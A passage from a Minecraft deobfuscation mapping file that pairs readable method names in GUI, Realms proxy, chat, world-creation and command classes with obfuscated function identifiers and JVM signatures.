(Lnet/minecraft/client/gui/ScaledResolution;F)V net/minecraft/client/gui/GuiSpectator/func_175264_a (Lnet/minecraft/client/gui/ScaledResolution;F)V +MD: net/minecraft/client/gui/GuiSpectator/func_175258_a (Lnet/minecraft/client/gui/ScaledResolution;FIFLnet/minecraft/client/gui/spectator/categories/SpectatorDetails;)V net/minecraft/client/gui/GuiSpectator/func_175258_a (Lnet/minecraft/client/gui/ScaledResolution;FIFLnet/minecraft/client/gui/spectator/categories/SpectatorDetails;)V +MD: net/minecraft/client/gui/GuiSpectator/func_175257_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V net/minecraft/client/gui/GuiSpectator/func_175257_a (Lnet/minecraft/client/gui/spectator/SpectatorMenu;)V +MD: net/minecraft/client/gui/GuiSpectator/func_175261_b ()V net/minecraft/client/gui/GuiSpectator/func_175261_b ()V +MD: net/minecraft/client/gui/GuiSpectator/func_175259_b (I)V net/minecraft/client/gui/GuiSpectator/func_175259_b (I)V +MD: net/minecraft/client/gui/GuiSpectator/func_175265_c ()F net/minecraft/client/gui/GuiSpectator/func_175265_c ()F +MD: net/minecraft/client/gui/GuiButtonRealmsProxy/mouseReleased (II)V net/minecraft/client/gui/GuiButtonRealmsProxy/func_146118_a (II)V +MD: net/minecraft/client/gui/GuiButtonRealmsProxy/setText (Ljava/lang/String;)V net/minecraft/client/gui/GuiButtonRealmsProxy/func_154311_a (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiButtonRealmsProxy/getHoverState (Z)I net/minecraft/client/gui/GuiButtonRealmsProxy/func_146114_a (Z)I +MD: net/minecraft/client/gui/GuiButtonRealmsProxy/getButtonWidth ()I net/minecraft/client/gui/GuiButtonRealmsProxy/func_146117_b ()I +MD: net/minecraft/client/gui/GuiButtonRealmsProxy/mouseDragged (Lnet/minecraft/client/Minecraft;II)V net/minecraft/client/gui/GuiButtonRealmsProxy/func_146119_b (Lnet/minecraft/client/Minecraft;II)V +MD: net/minecraft/client/gui/GuiButtonRealmsProxy/setEnabled (Z)V net/minecraft/client/gui/GuiButtonRealmsProxy/func_154313_b (Z)V +MD: net/minecraft/client/gui/GuiButtonRealmsProxy/getId ()I net/minecraft/client/gui/GuiButtonRealmsProxy/func_154314_d ()I +MD: net/minecraft/client/gui/GuiButtonRealmsProxy/mousePressed (Lnet/minecraft/client/Minecraft;II)Z net/minecraft/client/gui/GuiButtonRealmsProxy/func_146116_c (Lnet/minecraft/client/Minecraft;II)Z +MD: net/minecraft/client/gui/GuiButtonRealmsProxy/func_154312_c (Z)I net/minecraft/client/gui/GuiButtonRealmsProxy/func_154312_c (Z)I +MD: net/minecraft/client/gui/GuiButtonRealmsProxy/getEnabled ()Z net/minecraft/client/gui/GuiButtonRealmsProxy/func_154315_e ()Z +MD: net/minecraft/client/gui/GuiButtonRealmsProxy/getPositionY ()I net/minecraft/client/gui/GuiButtonRealmsProxy/func_154316_f ()I +MD: net/minecraft/client/gui/GuiButtonRealmsProxy/getRealmsButton ()Lnet/minecraft/realms/RealmsButton; net/minecraft/client/gui/GuiButtonRealmsProxy/func_154317_g ()Lnet/minecraft/realms/RealmsButton; +MD: net/minecraft/client/gui/GuiButtonRealmsProxy/getHeight ()I net/minecraft/client/gui/GuiButtonRealmsProxy/func_175232_g ()I +MD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/drawBackground ()V net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_148123_a ()V +MD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/isSelected (I)Z net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_148131_a (I)Z +MD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/drawSlot (IIIIII)V net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_178043_a (IIILnet/minecraft/realms/Tezzelator;)V net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_178043_a (IIILnet/minecraft/realms/Tezzelator;)V +MD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/elementClicked (IZII)V net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_148144_a (IZII)V +MD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/getSize ()I net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_148127_b ()I +MD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/drawSelectionBox (IIII)V net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_148120_b (IIII)V +MD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/getScrollBarX ()I net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_148137_d ()I +MD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_178044_e ()I net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_178044_e ()I +MD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_178042_f ()I net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_178042_f ()I +MD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_178045_g ()I net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_178045_g ()I +MD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/getContentHeight ()I net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_148138_e ()I +MD: net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/handleMouseInput ()V net/minecraft/client/gui/GuiClickableScrolledSelectionListProxy/func_178039_p ()V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/func_154321_a ()Lnet/minecraft/realms/RealmsScreen; net/minecraft/client/gui/GuiScreenRealmsProxy/func_154321_a ()Lnet/minecraft/realms/RealmsScreen; +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/keyTyped (CI)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/drawScreen (IIF)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/mouseClicked (III)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/drawGradientRect (IIIIII)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_73733_a (IIIIII)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/mouseClickMove (IIIJ)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_146273_a (IIIJ)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/func_154323_a (Ljava/lang/String;I)Ljava/util/List; net/minecraft/client/gui/GuiScreenRealmsProxy/func_154323_a (Ljava/lang/String;I)Ljava/util/List; +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/drawCreativeTabHoveringText (Ljava/lang/String;II)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_146279_a (Ljava/lang/String;II)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/func_154325_a (Ljava/lang/String;III)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_154325_a (Ljava/lang/String;III)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/func_154322_b (Ljava/lang/String;IIIZ)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_154322_b (Ljava/lang/String;IIIZ)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/drawHoveringText (Ljava/util/List;II)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_146283_a (Ljava/util/List;II)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/func_154327_a (Lnet/minecraft/realms/RealmsButton;)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_154327_a (Lnet/minecraft/realms/RealmsButton;)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/renderToolTip (Lnet/minecraft/item/ItemStack;II)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_146285_a (Lnet/minecraft/item/ItemStack;II)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/confirmClicked (ZI)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_73878_a (ZI)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/initGui ()V net/minecraft/client/gui/GuiScreenRealmsProxy/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/mouseReleased (III)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_146286_b (III)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/drawTexturedModalRect (IIIIII)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_73729_b (IIIIII)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/func_154319_c (Ljava/lang/String;III)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_154319_c (Ljava/lang/String;III)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/func_154328_b (Lnet/minecraft/realms/RealmsButton;)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_154328_b (Lnet/minecraft/realms/RealmsButton;)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/drawWorldBackground (I)V net/minecraft/client/gui/GuiScreenRealmsProxy/func_146270_b (I)V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/drawDefaultBackground ()V net/minecraft/client/gui/GuiScreenRealmsProxy/func_146276_q_ ()V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/func_154326_c (Ljava/lang/String;)I net/minecraft/client/gui/GuiScreenRealmsProxy/func_154326_c (Ljava/lang/String;)I +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/doesGuiPauseGame ()Z net/minecraft/client/gui/GuiScreenRealmsProxy/func_73868_f ()Z +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/updateScreen ()V net/minecraft/client/gui/GuiScreenRealmsProxy/func_73876_c ()V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/func_154329_h ()I net/minecraft/client/gui/GuiScreenRealmsProxy/func_154329_h ()I +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/func_154324_i ()V net/minecraft/client/gui/GuiScreenRealmsProxy/func_154324_i ()V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/func_154320_j ()Ljava/util/List; net/minecraft/client/gui/GuiScreenRealmsProxy/func_154320_j ()Ljava/util/List; +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/handleMouseInput ()V net/minecraft/client/gui/GuiScreenRealmsProxy/func_146274_d ()V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/handleKeyboardInput ()V net/minecraft/client/gui/GuiScreenRealmsProxy/func_146282_l ()V +MD: net/minecraft/client/gui/GuiScreenRealmsProxy/onGuiClosed ()V net/minecraft/client/gui/GuiScreenRealmsProxy/func_146281_b ()V +MD: net/minecraft/client/gui/GuiSlotRealmsProxy/drawBackground ()V net/minecraft/client/gui/GuiSlotRealmsProxy/func_148123_a ()V +MD: net/minecraft/client/gui/GuiSlotRealmsProxy/isSelected (I)Z net/minecraft/client/gui/GuiSlotRealmsProxy/func_148131_a (I)Z +MD: net/minecraft/client/gui/GuiSlotRealmsProxy/drawSlot (IIIIII)V net/minecraft/client/gui/GuiSlotRealmsProxy/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/GuiSlotRealmsProxy/elementClicked (IZII)V net/minecraft/client/gui/GuiSlotRealmsProxy/func_148144_a (IZII)V +MD: net/minecraft/client/gui/GuiSlotRealmsProxy/getSize ()I net/minecraft/client/gui/GuiSlotRealmsProxy/func_148127_b ()I +MD: net/minecraft/client/gui/GuiSlotRealmsProxy/getScrollBarX ()I net/minecraft/client/gui/GuiSlotRealmsProxy/func_148137_d ()I +MD: net/minecraft/client/gui/GuiSlotRealmsProxy/getWidth ()I net/minecraft/client/gui/GuiSlotRealmsProxy/func_154338_k ()I +MD: net/minecraft/client/gui/GuiSlotRealmsProxy/getMouseY ()I net/minecraft/client/gui/GuiSlotRealmsProxy/func_154339_l ()I +MD: net/minecraft/client/gui/GuiSlotRealmsProxy/getMouseX ()I net/minecraft/client/gui/GuiSlotRealmsProxy/func_154337_m ()I +MD: net/minecraft/client/gui/GuiSlotRealmsProxy/getContentHeight ()I net/minecraft/client/gui/GuiSlotRealmsProxy/func_148138_e ()I +MD: net/minecraft/client/gui/GuiSlotRealmsProxy/handleMouseInput ()V net/minecraft/client/gui/GuiSlotRealmsProxy/func_178039_p ()V +MD: net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/drawBackground ()V net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/func_148123_a ()V +MD: net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/isSelected (I)Z net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/func_148131_a (I)Z +MD: net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/drawScreen (IIF)V net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/func_148128_a (IIF)V +MD: net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/drawSlot (IIIIII)V net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/elementClicked (IZII)V net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/func_148144_a (IZII)V +MD: net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/getSize ()I net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/func_148127_b ()I +MD: net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/getScrollBarX ()I net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/func_148137_d ()I +MD: net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/getWidth ()I net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/func_178048_e ()I +MD: net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/getMouseY ()I net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/func_178047_f ()I +MD: net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/getMouseX ()I net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/func_178049_g ()I +MD: net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/getContentHeight ()I net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/func_148138_e ()I +MD: net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/handleMouseInput ()V net/minecraft/client/gui/GuiSimpleScrolledSelectionListProxy/func_178039_p ()V +MD: net/minecraft/client/gui/ScreenChatOptions/drawScreen (IIF)V net/minecraft/client/gui/ScreenChatOptions/func_73863_a (IIF)V +MD: net/minecraft/client/gui/ScreenChatOptions/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/ScreenChatOptions/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/ScreenChatOptions/initGui ()V net/minecraft/client/gui/ScreenChatOptions/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiChat/autocompletePlayerNames ()V net/minecraft/client/gui/GuiChat/func_146404_p_ ()V +MD: net/minecraft/client/gui/GuiChat/keyTyped (CI)V net/minecraft/client/gui/GuiChat/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiChat/drawScreen (IIF)V net/minecraft/client/gui/GuiChat/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiChat/mouseClicked (III)V net/minecraft/client/gui/GuiChat/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiChat/sendAutocompleteRequest (Ljava/lang/String;Ljava/lang/String;)V net/minecraft/client/gui/GuiChat/func_146405_a (Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiChat/setText (Ljava/lang/String;Z)V net/minecraft/client/gui/GuiChat/func_175274_a (Ljava/lang/String;Z)V +MD: net/minecraft/client/gui/GuiChat/onAutocompleteResponse ([Ljava/lang/String;)V net/minecraft/client/gui/GuiChat/func_146406_a ([Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiChat/initGui ()V net/minecraft/client/gui/GuiChat/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiChat/getSentHistory (I)V net/minecraft/client/gui/GuiChat/func_146402_a (I)V +MD: net/minecraft/client/gui/GuiChat/doesGuiPauseGame ()Z net/minecraft/client/gui/GuiChat/func_73868_f ()Z +MD: net/minecraft/client/gui/GuiChat/updateScreen ()V net/minecraft/client/gui/GuiChat/func_73876_c ()V +MD: net/minecraft/client/gui/GuiChat/handleMouseInput ()V net/minecraft/client/gui/GuiChat/func_146274_d ()V +MD: net/minecraft/client/gui/GuiChat/onGuiClosed ()V net/minecraft/client/gui/GuiChat/func_146281_b ()V +MD: net/minecraft/client/gui/GuiConfirmOpenLink/copyLinkToClipboard ()V net/minecraft/client/gui/GuiConfirmOpenLink/func_146359_e ()V +MD: net/minecraft/client/gui/GuiConfirmOpenLink/drawScreen (IIF)V net/minecraft/client/gui/GuiConfirmOpenLink/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiConfirmOpenLink/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiConfirmOpenLink/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiConfirmOpenLink/initGui ()V net/minecraft/client/gui/GuiConfirmOpenLink/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiConfirmOpenLink/disableSecurityWarning ()V net/minecraft/client/gui/GuiConfirmOpenLink/func_146358_g ()V +MD: net/minecraft/client/gui/GuiYesNoCallback/confirmClicked (ZI)V net/minecraft/client/gui/GuiYesNoCallback/func_73878_a (ZI)V +MD: net/minecraft/client/gui/GuiYesNo/drawScreen (IIF)V net/minecraft/client/gui/GuiYesNo/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiYesNo/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiYesNo/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiYesNo/initGui ()V net/minecraft/client/gui/GuiYesNo/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiYesNo/setButtonDelay (I)V net/minecraft/client/gui/GuiYesNo/func_146350_a (I)V +MD: net/minecraft/client/gui/GuiYesNo/updateScreen ()V net/minecraft/client/gui/GuiYesNo/func_73876_c ()V +MD: net/minecraft/client/multiplayer/GuiConnecting$1/run ()V net/minecraft/client/multiplayer/GuiConnecting$1/run ()V +MD: net/minecraft/client/multiplayer/GuiConnecting/access$300 ()Lorg/apache/logging/log4j/Logger; net/minecraft/client/multiplayer/GuiConnecting/access$300 ()Lorg/apache/logging/log4j/Logger; +MD: net/minecraft/client/multiplayer/GuiConnecting/keyTyped (CI)V net/minecraft/client/multiplayer/GuiConnecting/func_73869_a (CI)V +MD: net/minecraft/client/multiplayer/GuiConnecting/drawScreen (IIF)V net/minecraft/client/multiplayer/GuiConnecting/func_73863_a (IIF)V +MD: net/minecraft/client/multiplayer/GuiConnecting/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/multiplayer/GuiConnecting/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/multiplayer/GuiConnecting/access$000 (Lnet/minecraft/client/multiplayer/GuiConnecting;)Z net/minecraft/client/multiplayer/GuiConnecting/access$000 (Lnet/minecraft/client/multiplayer/GuiConnecting;)Z +MD: net/minecraft/client/multiplayer/GuiConnecting/access$102 (Lnet/minecraft/client/multiplayer/GuiConnecting;Lnet/minecraft/network/NetworkManager;)Lnet/minecraft/network/NetworkManager; net/minecraft/client/multiplayer/GuiConnecting/access$102 (Lnet/minecraft/client/multiplayer/GuiConnecting;Lnet/minecraft/network/NetworkManager;)Lnet/minecraft/network/NetworkManager; +MD: net/minecraft/client/multiplayer/GuiConnecting/connect (Ljava/lang/String;I)V net/minecraft/client/multiplayer/GuiConnecting/func_146367_a (Ljava/lang/String;I)V +MD: net/minecraft/client/multiplayer/GuiConnecting/initGui ()V net/minecraft/client/multiplayer/GuiConnecting/func_73866_w_ ()V +MD: net/minecraft/client/multiplayer/GuiConnecting/access$100 (Lnet/minecraft/client/multiplayer/GuiConnecting;)Lnet/minecraft/network/NetworkManager; net/minecraft/client/multiplayer/GuiConnecting/access$100 (Lnet/minecraft/client/multiplayer/GuiConnecting;)Lnet/minecraft/network/NetworkManager; +MD: net/minecraft/client/multiplayer/GuiConnecting/access$200 (Lnet/minecraft/client/multiplayer/GuiConnecting;)Lnet/minecraft/client/gui/GuiScreen; net/minecraft/client/multiplayer/GuiConnecting/access$200 (Lnet/minecraft/client/multiplayer/GuiConnecting;)Lnet/minecraft/client/gui/GuiScreen; +MD: net/minecraft/client/multiplayer/GuiConnecting/updateScreen ()V net/minecraft/client/multiplayer/GuiConnecting/func_73876_c ()V +MD: net/minecraft/command/CommandReplaceItem/getRequiredPermissionLevel ()I net/minecraft/command/CommandReplaceItem/func_82362_a ()I +MD: net/minecraft/command/CommandReplaceItem/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandReplaceItem/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandReplaceItem/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/CommandReplaceItem/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/CommandReplaceItem/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandReplaceItem/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandReplaceItem/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandReplaceItem/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandReplaceItem/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandReplaceItem/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/command/CommandReplaceItem/getUsernames ()[Ljava/lang/String; net/minecraft/command/CommandReplaceItem/func_175784_d ()[Ljava/lang/String; +MD: net/minecraft/command/CommandReplaceItem/getSlotForShortcut (Ljava/lang/String;)I net/minecraft/command/CommandReplaceItem/func_175783_e (Ljava/lang/String;)I +MD: net/minecraft/client/gui/GuiCreateFlatWorld$Details/drawBackground ()V net/minecraft/client/gui/GuiCreateFlatWorld$Details/func_148123_a ()V +MD: net/minecraft/client/gui/GuiCreateFlatWorld$Details/isSelected (I)Z net/minecraft/client/gui/GuiCreateFlatWorld$Details/func_148131_a (I)Z +MD: net/minecraft/client/gui/GuiCreateFlatWorld$Details/drawSlot (IIIIII)V net/minecraft/client/gui/GuiCreateFlatWorld$Details/func_180791_a (IIIIII)V +MD: net/minecraft/client/gui/GuiCreateFlatWorld$Details/func_148225_a (IILnet/minecraft/item/ItemStack;)V net/minecraft/client/gui/GuiCreateFlatWorld$Details/func_148225_a (IILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/client/gui/GuiCreateFlatWorld$Details/elementClicked (IZII)V net/minecraft/client/gui/GuiCreateFlatWorld$Details/func_148144_a (IZII)V +MD: net/minecraft/client/gui/GuiCreateFlatWorld$Details/getSize ()I net/minecraft/client/gui/GuiCreateFlatWorld$Details/func_148127_b ()I +MD: net/minecraft/client/gui/GuiCreateFlatWorld$Details/getScrollBarX ()I net/minecraft/client/gui/GuiCreateFlatWorld$Details/func_148137_d ()I +MD: net/minecraft/client/gui/GuiCreateFlatWorld$Details/func_148224_c (IIII)V net/minecraft/client/gui/GuiCreateFlatWorld$Details/func_148224_c (IIII)V +MD: net/minecraft/client/gui/GuiCreateFlatWorld$Details/func_148226_e (II)V net/minecraft/client/gui/GuiCreateFlatWorld$Details/func_148226_e (II)V +MD: net/minecraft/client/gui/GuiCreateFlatWorld/func_146384_e ()Ljava/lang/String; net/minecraft/client/gui/GuiCreateFlatWorld/func_146384_e ()Ljava/lang/String; +MD: net/minecraft/client/gui/GuiCreateFlatWorld/drawScreen (IIF)V net/minecraft/client/gui/GuiCreateFlatWorld/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiCreateFlatWorld/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiCreateFlatWorld/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiCreateFlatWorld/access$000 (Lnet/minecraft/client/gui/GuiCreateFlatWorld;)F net/minecraft/client/gui/GuiCreateFlatWorld/access$000 (Lnet/minecraft/client/gui/GuiCreateFlatWorld;)F +MD: net/minecraft/client/gui/GuiCreateFlatWorld/func_146383_a (Ljava/lang/String;)V net/minecraft/client/gui/GuiCreateFlatWorld/func_146383_a (Ljava/lang/String;)V +MD: net/minecraft/client/gui/GuiCreateFlatWorld/initGui ()V net/minecraft/client/gui/GuiCreateFlatWorld/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiCreateFlatWorld/access$100 (Lnet/minecraft/client/gui/GuiCreateFlatWorld;)F net/minecraft/client/gui/GuiCreateFlatWorld/access$100 (Lnet/minecraft/client/gui/GuiCreateFlatWorld;)F +MD: net/minecraft/client/gui/GuiCreateFlatWorld/access$200 (Lnet/minecraft/client/gui/GuiCreateFlatWorld;)F net/minecraft/client/gui/GuiCreateFlatWorld/access$200 (Lnet/minecraft/client/gui/GuiCreateFlatWorld;)F +MD: net/minecraft/client/gui/GuiCreateFlatWorld/access$300 (Lnet/minecraft/client/gui/GuiCreateFlatWorld;)F net/minecraft/client/gui/GuiCreateFlatWorld/access$300 (Lnet/minecraft/client/gui/GuiCreateFlatWorld;)F +MD: net/minecraft/client/gui/GuiCreateFlatWorld/access$400 (Lnet/minecraft/client/gui/GuiCreateFlatWorld;)Lnet/minecraft/world/gen/FlatGeneratorInfo; net/minecraft/client/gui/GuiCreateFlatWorld/access$400 (Lnet/minecraft/client/gui/GuiCreateFlatWorld;)Lnet/minecraft/world/gen/FlatGeneratorInfo; +MD: net/minecraft/client/gui/GuiCreateFlatWorld/func_146375_g ()V net/minecraft/client/gui/GuiCreateFlatWorld/func_146375_g ()V +MD: net/minecraft/client/gui/GuiCreateFlatWorld/func_146382_i ()Z net/minecraft/client/gui/GuiCreateFlatWorld/func_146382_i ()Z +MD: net/minecraft/client/gui/GuiCreateFlatWorld/handleMouseInput ()V net/minecraft/client/gui/GuiCreateFlatWorld/func_146274_d ()V +MD: net/minecraft/client/gui/GuiCreateWorld/calcSaveDirName ()V net/minecraft/client/gui/GuiCreateWorld/func_146314_g ()V +MD: net/minecraft/client/gui/GuiCreateWorld/keyTyped (CI)V net/minecraft/client/gui/GuiCreateWorld/func_73869_a (CI)V +MD: net/minecraft/client/gui/GuiCreateWorld/drawScreen (IIF)V net/minecraft/client/gui/GuiCreateWorld/func_73863_a (IIF)V +MD: net/minecraft/client/gui/GuiCreateWorld/mouseClicked (III)V net/minecraft/client/gui/GuiCreateWorld/func_73864_a (III)V +MD: net/minecraft/client/gui/GuiCreateWorld/recreateFromExistingWorld (Lnet/minecraft/world/storage/WorldInfo;)V net/minecraft/client/gui/GuiCreateWorld/func_146318_a (Lnet/minecraft/world/storage/WorldInfo;)V +MD: net/minecraft/client/gui/GuiCreateWorld/getUncollidingSaveDirName (Lnet/minecraft/world/storage/ISaveFormat;Ljava/lang/String;)Ljava/lang/String; net/minecraft/client/gui/GuiCreateWorld/func_146317_a (Lnet/minecraft/world/storage/ISaveFormat;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/client/gui/GuiCreateWorld/actionPerformed (Lnet/minecraft/client/gui/GuiButton;)V net/minecraft/client/gui/GuiCreateWorld/func_146284_a (Lnet/minecraft/client/gui/GuiButton;)V +MD: net/minecraft/client/gui/GuiCreateWorld/showMoreWorldOptions (Z)V net/minecraft/client/gui/GuiCreateWorld/func_146316_a (Z)V +MD: net/minecraft/client/gui/GuiCreateWorld/initGui ()V net/minecraft/client/gui/GuiCreateWorld/func_73866_w_ ()V +MD: net/minecraft/client/gui/GuiCreateWorld/updateScreen ()V net/minecraft/client/gui/GuiCreateWorld/func_73876_c ()V +MD: net/minecraft/client/gui/GuiCreateWorld/updateDisplayState ()V net/minecraft/client/gui/GuiCreateWorld/func_146319_h ()V +MD: net/minecraft/client/gui/GuiCreateWorld/canSelectCurWorldType ()Z net/minecraft/client/gui/GuiCreateWorld/func_175299_g ()Z +MD: net/minecraft/client/gui/GuiCreateWorld/toggleMoreWorldOptions ()V net/minecraft/client/gui/GuiCreateWorld/func_146315_i ()V +MD: net/minecraft/client/gui/GuiCreateWorld/onGuiClosed ()V net/minecraft/client/gui/GuiCreateWorld/func_146281_b ()V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/drawBackground ()V net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/func_148123_a ()V +MD: net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/isSelected (I)Z net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/func_148131_a (I)Z +MD: net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/drawSlot (IIIIII)V net/minecraft/client/gui/GuiScreenCustomizePresets$ListPreset/func_180791_a (IIIIII)V +MD: 